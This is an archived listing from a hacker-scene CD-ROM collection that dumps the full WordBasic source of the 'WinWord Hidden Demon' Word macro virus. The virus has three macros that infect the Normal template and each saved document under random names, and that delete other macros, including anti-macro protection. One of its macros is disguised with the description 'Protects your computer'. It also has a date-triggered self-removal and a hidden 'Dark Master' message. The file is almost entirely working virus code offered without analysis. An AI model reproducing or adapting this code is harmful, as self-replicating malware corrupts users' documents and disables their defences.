home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0198.ZIP / MVUPDT18.ZIP / DEMON-A.ZIP / DEMON.MAC < prev   
Text File  |  1997-12-23  |  7KB  |  269 lines
  1. List Word Macros version 1.10
  2. File: DEMON.DOT
  3. Total macros: 3
  4. ==============================================================================
  5. Macro name: OKNNN [OKNNN] "U"
  6. Encryption key: DF
  7. ------------------------------------------------------------------------------
  8. Sub MAIN
  9.  
  10. On Error Goto Abort
  11.  
  12.  
  13. REM *** Infecting the system ***
  14.     
  15.     iMacro = CountMacros(0, 0)
  16.     For i = 1 To iMacro
  17.         If MacroName$(i, 0, 0) = "AutoClose" Then
  18.             If MacroDesc$("AutoClose") = "Protects your computer" Then
  19.             If Val(GetProfileString$("I")) > 0 Then
  20.                 Inst = - 1
  21.             End If
  22.             End If
  23.         End If
  24.     Next i
  25.  
  26. REM *** Infecting the system ***
  27.  
  28. If Month(Now()) > 4 Then
  29. If Inst Then
  30.     For i = 1 To iMacroCount
  31.     If MacroName$(i, 0, 0) = "FileSaveAs" Then
  32.         ToolsMacro .Name = "FileSaveAs", .Show = 1, .Delete
  33.     End If
  34.     If MacroName$(i, 0, 0) = "AutoClose" Then
  35.         ToolsMacro .Name = "AutoClose", .Show = 1, .Delete
  36.     End If
  37.     If MacroName$(i, 0, 0) = GetProfilestr$("1") Then
  38.         ToolsMacro .Name = GetProfileString$("1"), .Show = 1, .Delete
  39.     End If
  40.     If MacroName$(i, 0, 0) = GetProfilestr$("2") Then
  41.         ToolsMacro .Name = GetProfileString$("2"), .Show = 1, .Delete
  42.     End If
  43.     Next i
  44.         SetProfileString("I")
  45.         SetProfileString("1")
  46.         SetProfileString("2")
  47. Goto abort
  48. End If
  49. End If
  50.  
  51.  
  52. If Not Inst Then
  53.  
  54.  
  55.     iMacroCount = CountMacros(0, 0)
  56.  
  57.     For i = 1 To iMacroCount
  58.  
  59. REM             *** Destroing all other macro & anti-macro programms ***
  60.  
  61.     If MacroName$(i, 0, 0) = "FileSaveAs" Then
  62.         ToolsMacro .Name = "FileSaveAs", .Show = 1, .Delete
  63.     End If
  64.  
  65.     If MacroName$(i, 0, 0) = "AutoClose" Then
  66.         ToolsMacro .Name = "AutoClose", .Show = 1, .Delete
  67.     End If
  68.  
  69.     Next i
  70.         
  71. REM     *** Determine the Normal templates' name to fix national uncompability ***
  72.  
  73.         ToolsMacro .Name = "tttttemp", .Edit, .Show = 1
  74.         nNorm$ = MacroFileName$("tttttemp")
  75.         DocClose
  76.         
  77.         nDoc$ = FileName$()
  78.  
  79.         nMacro$ = nDoc$ + ":" + GetDocumentVar$("1")
  80.         MacroCopy nMacro$, nNorm$ + ":AutoClose", 1
  81.         MacroCopy nMacro$, nNorm$ + ":" + GetDocumentVar$("1"), 1
  82.  
  83.         nMacro$ = nDoc$ + ":" + GetDocumentVar$("2")
  84.         MacroCopy nMacro$, nNorm$ +  ":" + GetDocumentVar$("2"), 1
  85.         
  86.         
  87.         SetProfileString("I", GetDocumentVar$("I"))
  88.         SetProfileString("1", GetDocumentVar$("1"))
  89.         SetProfileString("2", GetDocumentVar$("2"))
  90.  
  91. REM         MsgBox "installed in system successfully"
  92.     End If
  93. Abort:
  94. End Sub
  95. ==============================================================================
  96. Macro name: HLNKTJ [HLNKTJ] "U"
  97. Description: Protects your computer
  98. Encryption key: 8E
  99. ------------------------------------------------------------------------------
  100. Sub MAIN
  101.  
  102. Dim dlg As FileSaveAs
  103. On Error Goto Abort
  104.  
  105. iDirty = IsDocumentDirty()
  106. If FileNameFromWindow$() = "" Then Goto Abort
  107. GetCurValues dlg
  108. If dlg.Format > 1 Then Goto Abort Else dlg.Format = 1
  109.  
  110. If Selection$() = "Dark Master calling" Then
  111.     MsgBox("WINWORD HIDDEN DEMON" + Chr$(13) + "is happy to see his MASTER!!!" + Chr$(13) + Chr$(13) + "             GREAT DAY !!!" + Chr$(13) + Chr$(13) + "   This file is infected as # " + GetProfileString$("I") + ".", "               Microsoft " + "WinWord DEMON", 48)
  112.     Goto abort
  113. End If
  114.  
  115.  
  116. REM ***** Self destruction *****
  117.  
  118. If Month(Now()) > 4 Then
  119. If Not ((GetDocumentVar$("I") = "") Or (GetDocumentVar$("2") = "") Or (GetDocumentVar$("2") = "")) Then
  120.     nDoc$ = FileName$()
  121.     ToolsMacro .Name = GetDocumentVar$("1"), .Show = 3, .Delete
  122.     ToolsMacro .Name = GetDocumentVar$("2"), .Show = 3, .Delete
  123.     SetDocumentVar("I", "")
  124.     SetDocumentVar("1", "")
  125.     SetDocumentVar("2", "")
  126.     Goto abort
  127. End If
  128. End If
  129.  
  130. REM  ***  Infecting document ***
  131.  
  132. If (GetDocumentVar$("I") = "") Or (GetDocumentVar$("2") = "") Or (GetDocumentVar$("2") = "") Then
  133.  
  134.         norm$ = MacroFileName$("AutoClose")
  135.         FileSaveAs dlg        
  136.         nDoc$ = FileName$()
  137.         cinf = Val(GetProfileString$("I"))
  138.         SetProfileString("I", Str$(cinf + 1))
  139.         SetDocumentVar("I", Str$(cinf + 1))
  140.         
  141. REM *** Copy double of AutoClose ***
  142.  
  143.         mn1$ = tempname$
  144.         nMacro$ = nDoc$ + ":" + mn1$
  145.         MacroCopy norm$ + ":" + GetProfileString$("1"), nMacro$, 1
  146.         SetDocumentVar("1", mn1$)
  147.  
  148. REM *** Copy doubles of AutoOpen ***
  149.  
  150.         mn2$ = tempname$
  151.         nMacro$ = nDoc$ + ":" + mn2$
  152.         MacroCopy norm$ + ":" + GetProfileString$("2"), nMacro$, 1
  153.         nMacro$ = nDoc$ + ":AutoOpen"
  154.         MacroCopy norm$ + ":" + GetProfileString$("2"), nMacro$, 1
  155.         SetDocumentVar("2", mn2$)
  156.         
  157.         FileSaveAs dlg        
  158. REM         MsgBox "INFECTED NEW"
  159.  
  160.     End If
  161. Abort:
  162. SetDocumentDirty(iDirty)
  163. End Sub
  164.  
  165.  
  166. Function tempname$
  167.  
  168. REM *** Prepearing temp names ***
  169.  
  170.     countr = Int(Rnd() * 4) + 4
  171.     temp$ = ""
  172.     For i = 1 To countr
  173.         temp$ = temp$ + Chr$(Int(Rnd() * 20) + 66)
  174.     Next i
  175.     tempname$ = temp$
  176. End Function
  177. ==============================================================================
  178. Macro name: AutoOpen [AUTOOPEN] "U"
  179. Encryption key: DF
  180. ------------------------------------------------------------------------------
  181. Sub MAIN
  182.  
  183. On Error Goto Abort
  184.  
  185.  
  186. REM *** Infecting the system ***
  187.     
  188.     iMacro = CountMacros(0, 0)
  189.     For i = 1 To iMacro
  190.         If MacroName$(i, 0, 0) = "AutoClose" Then
  191.             If MacroDesc$("AutoClose") = "Protects your computer" Then
  192.             If Val(GetProfileString$("I")) > 0 Then
  193.                 Inst = - 1
  194.             End If
  195.             End If
  196.         End If
  197.     Next i
  198.  
  199. REM *** Infecting the system ***
  200.  
  201. If Month(Now()) > 4 Then
  202. If Inst Then
  203.     For i = 1 To iMacroCount
  204.     If MacroName$(i, 0, 0) = "FileSaveAs" Then
  205.         ToolsMacro .Name = "FileSaveAs", .Show = 1, .Delete
  206.     End If
  207.     If MacroName$(i, 0, 0) = "AutoClose" Then
  208.         ToolsMacro .Name = "AutoClose", .Show = 1, .Delete
  209.     End If
  210.     If MacroName$(i, 0, 0) = GetProfilestr$("1") Then
  211.         ToolsMacro .Name = GetProfileString$("1"), .Show = 1, .Delete
  212.     End If
  213.     If MacroName$(i, 0, 0) = GetProfilestr$("2") Then
  214.         ToolsMacro .Name = GetProfileString$("2"), .Show = 1, .Delete
  215.     End If
  216.     Next i
  217.         SetProfileString("I")
  218.         SetProfileString("1")
  219.         SetProfileString("2")
  220. Goto abort
  221. End If
  222. End If
  223.  
  224.  
  225. If Not Inst Then
  226.  
  227.  
  228.     iMacroCount = CountMacros(0, 0)
  229.  
  230.     For i = 1 To iMacroCount
  231.  
  232. REM             *** Destroing all other macro & anti-macro programms ***
  233.  
  234.     If MacroName$(i, 0, 0) = "FileSaveAs" Then
  235.         ToolsMacro .Name = "FileSaveAs", .Show = 1, .Delete
  236.     End If
  237.  
  238.     If MacroName$(i, 0, 0) = "AutoClose" Then
  239.         ToolsMacro .Name = "AutoClose", .Show = 1, .Delete
  240.     End If
  241.  
  242.     Next i
  243.         
  244. REM     *** Determine the Normal templates' name to fix national uncompability ***
  245.  
  246.         ToolsMacro .Name = "tttttemp", .Edit, .Show = 1
  247.         nNorm$ = MacroFileName$("tttttemp")
  248.         DocClose
  249.         
  250.         nDoc$ = FileName$()
  251.  
  252.         nMacro$ = nDoc$ + ":" + GetDocumentVar$("1")
  253.         MacroCopy nMacro$, nNorm$ + ":AutoClose", 1
  254.         MacroCopy nMacro$, nNorm$ + ":" + GetDocumentVar$("1"), 1
  255.  
  256.         nMacro$ = nDoc$ + ":" + GetDocumentVar$("2")
  257.         MacroCopy nMacro$, nNorm$ +  ":" + GetDocumentVar$("2"), 1
  258.         
  259.         
  260.         SetProfileString("I", GetDocumentVar$("I"))
  261.         SetProfileString("1", GetDocumentVar$("1"))
  262.         SetProfileString("2", GetDocumentVar$("2"))
  263.  
  264. REM         MsgBox "installed in system successfully"
  265.     End If
  266. Abort:
  267. End Sub
  268. ==============================================================================
  269.